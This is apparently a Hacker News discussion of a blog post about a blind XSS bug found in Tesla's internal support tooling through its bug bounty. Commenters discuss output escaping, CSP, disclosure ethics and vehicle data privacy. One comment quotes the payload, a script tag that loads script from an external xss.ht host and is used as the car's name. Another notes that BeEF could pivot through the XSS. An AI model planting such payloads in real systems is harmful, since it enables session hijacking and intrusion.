Cracking My Windshield and Earning $10k on the Tesla Bug Bounty Program

https://samcurry.net/cracking-my-windshield-and-earning-10000-on-the-tesla-bug-bounty-program/

by EdOverflow • 7 years ago

574 182 7 years ago

samnwa• 7 years ago

That was an awesome summary and a good example of the value of bug bounty programs.

jxcl3• 7 years ago

This bug probably existed because some developer thought "this is an internal application, I don't need to apply the same rigorous input/(edit: and output, as replies point out) sanitation as I do with normal sites because it's only accessible by VPN."

As a consultant that gets to see a lot of "internal only" applications, this is one of the misconceptions that me and my coworkers try to fight against. XSS is effective even if the attacker doesn't have access to the internal application, because it's not the attacker's computer making the requests.

trilila4• 7 years ago

Normally, it would not be the input to be sanitised, but rather the output properly formatted. It's easier to make sure that ANY type of input is shown properly, as opposed to eliminating SOME of the known issues.

ec109685• 7 years ago

Output sanitization is what you want to bet on. Only your website / app knows where a piece of data will be displayed, so that is when you should apply appropriate encoding of the output stream.

gowld5• 7 years ago

Can you (or another commenter) give an illustration of this sort of output sanitation?

davedx• 7 years ago

Yup. React has this by default with everything you render. You have to override it with “dangerouslySetHtml” if you don’t want it.

NightlyDev• 7 years ago

Actually, input might be the better option as one rarely needs to accept HTML or such special characters.

It's also a more common to display or use data than storing it, so you don't have that many places where you can fail when you just convert the input before storing it.

It's nice to be able to trust all data coming from the server.

duxup• 7 years ago

Hell even in my past career supporting hardware network products a lot of companies had / have management ports that are vulnerable to all sorts of stuff. The industry standard response from engineers was "well that should be behind a firewall".

It's time we stop pretending the big bad internet is just "out there" just because it should be, it is everywhere.

gwbas1c• 7 years ago

Could just be because the application was written by a less experienced programmer, or even outsourced?

disillusioned• 7 years ago

Tesla and SpaceX are both pretty maniacal about not outsourcing programming, to my knowledge.

jakobegger• 7 years ago

I've seen very experienced developers make mistakes with input/output sanitation.

jxcl3• 7 years ago

It could be, or it could even be that whatever process that brings code from development to production is less stringent on internal applications. Maybe people don't review the code as closely (or at all!), maybe they have fewer tests for internal code. "Internal only" applications almost universally have less scrutiny applied to them in my experience.

raducu• 7 years ago

I work as a contractor for a bank and while investigating a small security issue reported by a third-party audit firm, we discovered that the clever, bytecode-weaving-autogenerated-declarative security had been overriden by someone who added his own, equaly fancy security module directly in a parent project.

I cannot describe the shock when I realized what information an attacker could have gained in a window of 6 months the bug was active.

All of this code was written by experienced programmers, it's just that nobody ever wrote any tests to ensure the fancy security code was still in place.

dmix• 7 years ago

This stuff should be taken care of by your web framework wherever possible.

Thorrez• 7 years ago

Note that even if it's only accessible by VPN, attackers can still make HTTP requests to it because when an employee connected to the VPN visits attacker.com , attacker.com can make XHR calls to internalsite.com . The attacker can't read the response (unless there are other vulnerabilities), but if you don't have CSRF protection, the attacker can perform actions on the internal site.

gibolt• 7 years ago

What a great response and turnaround. Bug as fixed within 24 hours and paid out within a month.

I wouldn't expect any other car manufacturer to respond ever, most don't even own their software stack.

Someone12344• 7 years ago

A lot of other vehicle manufacturers couldn't anyway, they don't build the infotainment systems in-house, they simply just re-theme/re-badge the units from companies like Panasonic, Pioneer, Fujitsu-Ten, etc.

So if they got a bug report it would have to travel through ten layers of indirection before an engineer got to read it (let alone understand/respond). Particularly when there might be two or three different written word languages used between consumer and engineer (e.g. English -> Japanese -> Mandarin (Taiwan)).

Tesla (and Ford previously) were actually oddballs in that they didn't use "off the shelf" infotainment units.

HeWhoLurksLate2• 7 years ago

   Tessa (and Ford previously) were actually oddballs in that they didn't use "off the shelf" infotainment units.

Isn't being different great sometimes?

gambiting3• 7 years ago

I've tried reporting a bug where on a 2016 Mercedes GLA if you're playing MP3s from a USB stick the car will remember the track to play but nothing else about it, so after coming back the same track plays but with the wrong name, wrong album art, etc etc. It's literally impossible to. The dealer said they have no way to do that except for just flashing my car with a newer FW and hoping it fixes it(it didn't), messaging Mercedes UK yields no reply, posting on their official forums yields no reply.....I just gave up after a while.

ChicagoBoy11• 7 years ago

I had to rent a ton of cars over the past year before finally buying one and always remarked out how shitty the infotainment systems were, and that the only one which didn't actively piss me off was Ford's. Now I know why!

inlined• 7 years ago

On a final note, Tesla’s bug bounty program is fantastic. They provide a safe haven for researchers who are in good-faith trying to hack their cars. If you accidentally brick one, they’ll even offer support in attempting to fix it.

This is an amazingly open and refreshing policy!

hanniabu2• 7 years ago

Does this mean you can legally mod your car under the guise of hacking it?

whatshisface• 7 years ago

It's not illegal to have a NO2 factory in your garage, it's illegal to drive it on the roads. A good-faith emissions control hacking would probably not involve long-distance highway driving or racing.

aphextim2• 7 years ago

Maybe if you only drive in a private property and not public roads. Probably like aftermarket modifications currently.

driverdan4• 7 years ago

Modding cars is already legal.

FireBeyond6• 7 years ago

* Subject to Tesla's definition of "good faith".

Another hacker who discovered references to the Model 3 in his car before its announcement:

* had his vehicle firmware downgraded to a version that contained no such references

* had his vehicle blocked from receiving further firmware updates

* had his vehicles ethernet port disabled

* [deleted] caught some commentary from Musk about his hacking behavior put himself, and other drivers at risk.[/deleted]

gowld5• 7 years ago

Tesla and send a custom update that breaks your specific car that you bought?

XCabbage• 7 years ago

Source? The closest thing I can find is this, which matches some details of your description but conflicts with others: https://twitter.com/elonmusk/status/706185709481119745

EdwardDiego• 7 years ago

I love that we're living in a world where you can accidentally brick your car. The future, man, the future.

SmellyGeekBoy• 7 years ago

As an owner of a 1974 Mini Clubman, I can assure you that the ability to "brick" your car by tampering with it is not a new concept...

vanderZwan• 7 years ago

I don't. Especially if it can be bricked through the internet in the middle of driving at high speed.

Johnny5552• 7 years ago

Interestingly, the car returned the (current?) speed:

Speed: 81 mph

I wonder if that, coupled with the GPS info (which wasn't included in the data returned, but I assume the car knows it) would be sufficient to issue a speeding ticket if the government had access to the data?

ars• 7 years ago

A car's self reported speed is not accurate enough - for example if you slip on gravel or ice, the reported speed would momentarily be higher.

rightbyte• 7 years ago

Or if you are braking it will be lower.

danaur• 7 years ago

Some insurance companies are already doing this I think where they attach things to your car and if you stay under the speed limit you get discounts on your payments

hobofromabroad• 7 years ago

There are also companies like The Flow that offer that data directly from mobile devices via an app.

floatrock2• 7 years ago

MetroMile does this with an OBD-II device... their niche is insurance for low-mileage vehicles, and they track your mileage with a dongle device that must always be plugged in.

Seems like a huge information asymmetry, though. Anyone who's ever dealt with an insurance claim knows that they find any nitpick to get out of payments... having an insurance provider that can say "actually we don't owe you anything because according to our black box, you were 2 mph over the speed limit therefore you were negligent" seems like it defeats the purpose of having insurance.

I like the idea of more accurate pricing based on actual (low) usage, but I don't like that it gives them a disproportionately larger surface area for their lawyers to find technicalities that gets them out of paying claims. When the tollbooth transponders came out, they explicitly said "this will never be used to issue speeding tickets" even though all the data was there... I don't believe MetroMile makes any similar promise.

TomMarius• 7 years ago

In my country any device that would be giving fines has to be periodically checked every month by the authorities and made unmodifiable without oversight.

dalore• 7 years ago

Probably not if there is a +/- of 10% error rate.

FireBeyond6• 7 years ago

If you are manufacturing a vehicle/speedometer in 2019 with a 10% margin of error, I'd argue that was "not fit for purpose".

I left Australia in 2006, but even before then, the government had altered the statutes on speeding from the old model - 10% margin of error, to a flat 3kph(2mph) due to "increased accuracy in manufacturing".

samirm• 7 years ago

But how would they know who to ticket? Just because your car is moving, doesn't mean you're the one driving it. If they cannot prove who was operating the vehicle at the time of infraction, they cannot issue a ticket.

tashoecraft• 7 years ago

That's not true, red light cameras have no problem issuing fines to the vehicle owner.

wycy• 7 years ago

That doesn't seem to matter. In DC we have speed cameras everywhere and it doesn't matter whether your face is visible in a photo, the ticket will be issued to the plate and must be paid by the owner regardless of who was driving the car.

goodcanadian• 7 years ago

In Alberta, the fine is for owning a speeding car, kind of like a parking ticket. The rationale is that you are responsible for who you lend the car to. It is a civil rather than criminal penalty, so no license points, but no getting out of it either. Rental car companies challenged it and lost (though you can be sure they will pass the cost on to you).

nathankunicki• 7 years ago

The fine goes to the vehicle owner not the driver. This is why if you get fined by an automated speed camera or red light camera on a rental car, the rental company pay the fine and charge it back to you - with admin fees.

If it's a physical ticket on the car (parking, speeding, etc), you can pay it before the rental company ever hears of it and avoid those admin fees.

mstade2• 7 years ago

I know in some jurisdictions at least you also need to identify the driver, because the ticket needs to be made out to whoever was speeding, which may or may not be the owner of the vehicle.

DanBC• 7 years ago

And some countries include a separate offence of "failing to identify the driver", with penalties usually more severe than the driving offence.

A few British politicians have found this out the hard way.

https://en.wikipedia.org/wiki/Chris_Huhne

https://www.theguardian.com/uk-news/2019/jan/29/labour-mp-fi...

Based_Detroiter• 7 years ago

Don't worry well have facial recognition for that soon enough

pmorici• 7 years ago

When speed cameras came about jurisdictions that wanted to use them simply changed their law to say that a photo/radar reading of the car speeding by the camera was prima facie evidence that the owner was responsible for the infraction.

Luckily it isn't in Tesla's interest to just hand this info over to the government en mass.

Freestyler_3• 7 years ago

They would have to verify beforehand how accurate the speedometer is.

cjbprime• 7 years ago

Your cellphone already has all of this information too. Google Maps will tell me both my current speed and the road's speed limit while driving with navigation on.

penagwin• 7 years ago

It REALLY depends on your government.

In Michigan doesn't allow automatic speeding camera things that automatically issue tickets, while New York does.

Going off how Michigan operates then no, the GPS info wouldn't be enough.

In another government such as China the answer is very likely "Yes".

benj111• 7 years ago

I share my birthday with a car. I'm unsure how to feel about this, probably better than sharing it with Rupert Murdoch, but worse than sharing it with Douglas Adams.

nickip• 7 years ago

What would the fix for this be? Enabling CORS only for `https://garage.vn.teslamotors.com`?

bzbarsky2• 7 years ago

CORS won't do it, because it protects the response target, not the response source.

CSP would do the trick, though.

The other fix is properly escaping things before sticking them in your markup.

runeks• 7 years ago

The other fix is properly escaping things before sticking them in your markup.

Or simply not displaying user data using a markup language with built-in remote code execution.

bhhaskin• 7 years ago

That would be a good first step, but more importantly making sure any content is rendered in a safe way. In this instance safe means making sure HTML entities are properly encoded and escaped.

ryacko2• 7 years ago

There is no reason why an internal interface needs to be in a browser, or a browser with access to the internet.

Someone12344• 7 years ago

Sanitization of the text input (e.g. < becomes <, > becomes >, etc). This is automatic/implicit on a lot of modern web frameworks (since text and Html are distinct types and output to a page are treated differently, with text sanitization being implied unless you opt out).

You shouldn't ever be running untrusted JavaScript. Content Security Policy and similar are just extra layers of protection if you mess up.

outworlder• 7 years ago

Not the input, the output. There are some good comments on this thread about the distinction.

Case in point: the owner altered the vehicle's name using the vehicle's own UI (which is probably not browser based). That input gets stored in the database. Then another system, web-based, wants to display it. If you don't encode the output, you'll be exposed.

Never trust that the input is properly encoded. HTML encode it before display, always.

em-bee• 7 years ago

sanitize the output of the car name field so that any html tags are escaped.

yahelc• 7 years ago

In addition to properly escaping inputs, Content Security Policy Headers to restrict the hosts that the browser executes JavaScript from (e.g., script-src). https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Co...

simonebrunozzi• 7 years ago

We should always, always plaude and praise companies that are at least this serious about bounty programs.

Two years ago, despite I wouldn't call myself the deepest technical person on the planet, I found a terrible bug that exposed 1.1M records for a bay area startup. (edit: the bug was really easy to find, it was a form of URL injection. I couldn't even believe that bug was there in the first place).

I reached out to them multiple times, only to realize they were going to ignore me in perpetuity. I didn't even want money, I would have been happy just to see the bug fixed. (I never helped fix a bug that another company had). Nada.

A less scrupulous person would have sold that information and exposed data for 1.1M people.

I am not naming the company here, even though they would totally deserve it.

brailsafe• 7 years ago

Please become less scrupulous! If that bug isn't fixed, that's just another in a long line of disposable bay area startups run by rich careless people—certainly none of which lurk on HN—who treat sensitive customer information like used tissue. I'm sure there's a way to do it where you don't expose the data, but I'd thinknofnit as a favour to a million people.

SkyBelow2• 7 years ago

I am not naming the company here, even though they would totally deserve it.

I do wonder to what extent the culture itself of how we approach bugs is designed to benefit companies over consumers. That we avoid naming and shaming due to a chilling effect of blow back, that we have disclosure windows, that the legal framework for reporting bugs is so flaky, that we are all accustomed to bad security practices and getting our data hacked, it all feels like it is architected to benefit companies who rarely suffer from hacks (sometimes there is a significant cost, but that rarely outweighs the profits).

It reminds me of identity theft. The entire concept that you lost money because your identity was stolen from you, that the bank (or other company) who feel for the fake victim isn't even a party to the actual crime, pushes the costs onto consumers. Instead of seeing it as the banks being the victim and thus responsible to bear the costs that aren't recoverable from the criminals, is is their customers who are. Thus it reduces the cost to the bank of poor identity management. An entire culture that offloads the costs of the bank's penny pinching onto consumers.

Another such examples is when the early automotive industry pushed for people to view jay walking as the crime, shifting blame onto pedestrians for being in the way of cars.

misterprime• 7 years ago

Another aspect of this is the taboo of discussing salaries / compensation with your peers and coworkers. Sure, it might be a bit "low class" to be concerned with money like that, but you know what? We're all mostly working class, and it's in our interest to discuss wages.

solarkraft• 7 years ago

Please name them.

they would totally deserve it.

They do. It is important to warn their customers about their practices. They had their chance and proved they're absolutely incompetent and shouldn't have anyone's data.

deckar01• 7 years ago

I once reverse engineered a Gmail worm found in the wild. The underlying exploit ended up being a security scan bypass in Google docs. I spent a lot of time submitting a bounty report, but I made one fatal mistake: I used URL redirection in the PoC. It was automatically rejected even though that was an example of content that the scan normally detects, not the actual vulnerability. It was closed as not eligible, then silently fixed a week later.

Edit: I checked the emails to refresh my memory. A human acknowledged that it was a flaw in the security scanner and forwarded it to the drive team, then a bot (AFAICT) determined that it was not eligible based on metadata in the report.

Edit 2: I did get one thing out of it. They sent me an invitation to a Bounty Craft event in Las Vegas during Def Con which I was attending that year (likely the actions of another bot scraping the email list). I got there early and accidentally sat down in the Microsoft Security Response team's couch area while they were all up getting food. They were nice people. They realized I never picked up swag on the way in and someone took me back to the door to get it. Apparently since I was with one of the event organizer and they said "you forgot to give him a t-shirt" they assumed I was staff and gave me a staff t-shirt. The event was 100% about how the sponsor companies were investing in automated fuzzing technologies and basically didn't need bug bounty hunters anymore. Slap in the face.

behringer2• 7 years ago

Apparently google wants you to next time sell it to the highest bidder.

Technetium_Hat2• 7 years ago

I know you meant Proof of Concept, but it took a couple of readings to realize you weren't saying "Person of Color".

iforgotpassword• 7 years ago

I'm wondering what the right approach is in such a situation. If they don't fix the leak, do you keep quiet or go public? Going public puts them under much more pressure to fix their shit, otoh, bad actors have probably more than enough time to scrape the data. But the other scenario bears the risk of some other bad actor also having discovered it and silently abusing the data. Considering the leak goes unfixed and the company grows they might some time be able to scrape data of ten times as many people.

So would you rather actively help leaking 1m records to public or potentially have someone else getting 10m a year later, but not having anything to do with it directly?

Thinking about it you might try and contact a bigger tech news site to get the companies attention.

xfitm3• 7 years ago

Rule of thumb is to notify them and share your intent of public disclosure within a certain time frame. Typically 90 days.

That's exactly what happened with Zoom. They half ass fixed it, then it went public and it was fixed in one day.

mkagenius• 7 years ago

Right now I know of 5-10 serious (100 million plus user data in total) bugs in multiple startups in India. I have reported to them and haven't heard back. The problem is especially severe in India.

gingabriska2• 7 years ago

But I wonder what if a developer purposely plants a bug then ask his friend to report it and split the bounty. It seems it's easy to take advantage of such programs internally?

xkcd-sucks• 7 years ago

It's a little less malicious then backdooring it which has a pretty strong precedent already. Also code review "should" catch it

frandroid• 7 years ago

The repository would show who wrote the bug in the first place, and it would have to pass code review. One would have to wait for the developer to leave the company before activating this scenario.

avgDev2• 7 years ago

I also found a terrible bug recently, that could cost this company millions of dollars.

Basically, the company has physical stores and also sells stuff online. Stuff bought online can be returned in store. However, if you bought an item online which was on sale, you could return in store for the full amount. I returned a laptop which I bought online for $999 and received $1399 back.

I think it was due to the fact that the store runs on iSeries/AS400 and the website is in .Net. I happen to work with both, and I can imagine that there is a lot of pain to make the systems work together.

dmurray• 7 years ago

Quite a lot of companies are vulnerable to forms of this, but will notice if you try to exploit it for "millions of dollars". It normally doesn't have much to do with what technologies they use internally.

jfk13• 7 years ago

I think most times I've returned anything, I've had to show the original receipt, so it'd be pretty obvious to them if I bought the item at a discounted price.

If they didn't bother to look at the receipt for your laptop... well, that seems like negligence on the part of the staff handling the return.

nkrisc• 7 years ago

If I was their user, I'd want to know if they were so carelessly exposing my data.

glandium• 7 years ago

If you have been able to access that data, chances are someone else has too. And the data might as well be considered as having leaked already. I wonder if the right course of action would be to send it to haveibeenpwned.

rossng• 7 years ago

I assume this company has customers in the EU. If the bug still exists today, try dropping a GDPR complaint to one of the European data regulators. Though they have limited resources, they have started taking these things pretty seriously [1] and will look _very_ unkindly on a failure to report the breach or address it.

[1] https://ico.org.uk/about-the-ico/news-and-events/news-and-bl...

driverdan4• 7 years ago

This is a great example of why it's terrible to have a car that can be remote controlled including the ability to push arbitrary updates. It should not be possible to use XSS to compromise a vehicle.

trilila4• 7 years ago

Following this logic, nothing should be remotely controlled because there might be security risks. Including OS updates to laptops.

driverdan4• 7 years ago

Correct. No one should be able to push out arbitrary code without explicit user approval.

Marinlemaignan• 7 years ago

sure but your laptop isn't gonna drive you straight into a wall, would he ?

gowld5• 7 years ago

XSS compromised a remote web app, not the vehicle. The vehicle hacked Tesla HQ, not vice versa

komali2• 7 years ago

I mentioned this to my coworkers who brought up something I hadn't thought of - would this be illegal in the USA via something such as CFAA? https://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act He technically accessed Tesla's dashboard without authorization, for example.

jerf2• 7 years ago

Tesla authorizes certain activities through their Bug Bounty program: https://bugcrowd.com/tesla

This is the first clause in the "in scope" section, so it is not unauthorized.

It would be bad if he used this to just wander around in their website, though. Nobody's contested whether this is worth a $10,000 payout yet, but this seems a decent place to point out that using https://beefproject.com , you can use that XSS vulnerability as a reverse proxy back into Tesla's network, and browse through the support site authenticated as the user currently accessing the XSS payload. This isn't just an XSS, it was a authentication bypass that a real attacker could have leveraged into access into that internal web site full of sensitive info in just a few minutes.

EdOverflow• 7 years ago

(Obligatory: I am not a lawyer)

This is what the "safe harbor" that the author was referring to is supposed to cover.

Tesla considers that a pre-approved, good-faith security researcher who complies with this policy to access a computer on a research-registered vehicle has not accessed a computer without authorization or exceeded authorized access under the Computer Fraud and Abuse Act ("CFAA"). [1]

*.teslamotors.com, which is where the blind XSS payload fired, is in scope and therefore the safe harbor covers that asset too. For more on bug bounty safe harbors, I would highly recommend taking a look at Amit Elazari's work at https://amitelazari.com/%23legalbugbounty-hof and https://github.com/edoverflow/legal-bug-bounty.

[1] https://bugcrowd.com/tesla

j0e1• 7 years ago

Tangentially, how long did it take to get the windshield fixed? I've heard horror stories about their service.

zlz123• 7 years ago

I'm yet to fix it because the crack isn't too bad yet. Their windshield replacement is through retailers who fit their standards and not Tesla directly so I assume it won't be too bad as all they have to do is ship the wind screen.

Zenst• 7 years ago

That's impressive, a support process that is responsive, don't mess about and fair. Companies around the World could learn something from this. They probably won't, but they certainly all could.

jcampbell1• 7 years ago

The trend of storing auth tokens in localStorage rather than httpOnly cookies is a problematic trend due to vulnerabilities like this. If you can exfiltrate an authtoken then one gets long lived access to the system.

AdamN• 7 years ago

The real thing you realize here is that Tesla is a software company (and it will eat the world). Getting a hotfix out that fast is the proof in the pudding.

redpilldealer• 7 years ago

Nice to see Sam reached the front page of hacker news!

tlrobinson• 7 years ago

I can imagine the support call:

Did you really name your Tesla "><script src=//zlz.xss.ht></script>?
Oh, yes, little Bobby ScriptSrc, we call him.

brokenmachine3• 7 years ago

All the comments on here seem to be praising Tesla for paying a bug bounty, but I'm just sitting here horrified at how much information a phone support guy is able to view remotely about owners cars, not to mention the ability to send OTA updates.

No way am I buying a connected car.

reallydontask• 7 years ago

I think you might be out of options soon, if you want a new car that is. A while longer for used cars obviously.

Once all new cars are connected, the DuckDuckGo of cars will launch soon thereafter with the promise of a privacy centric connected car :)

Cracking My Windshield and Earning $10k on the Tesla Bug Bounty Program

Related Stories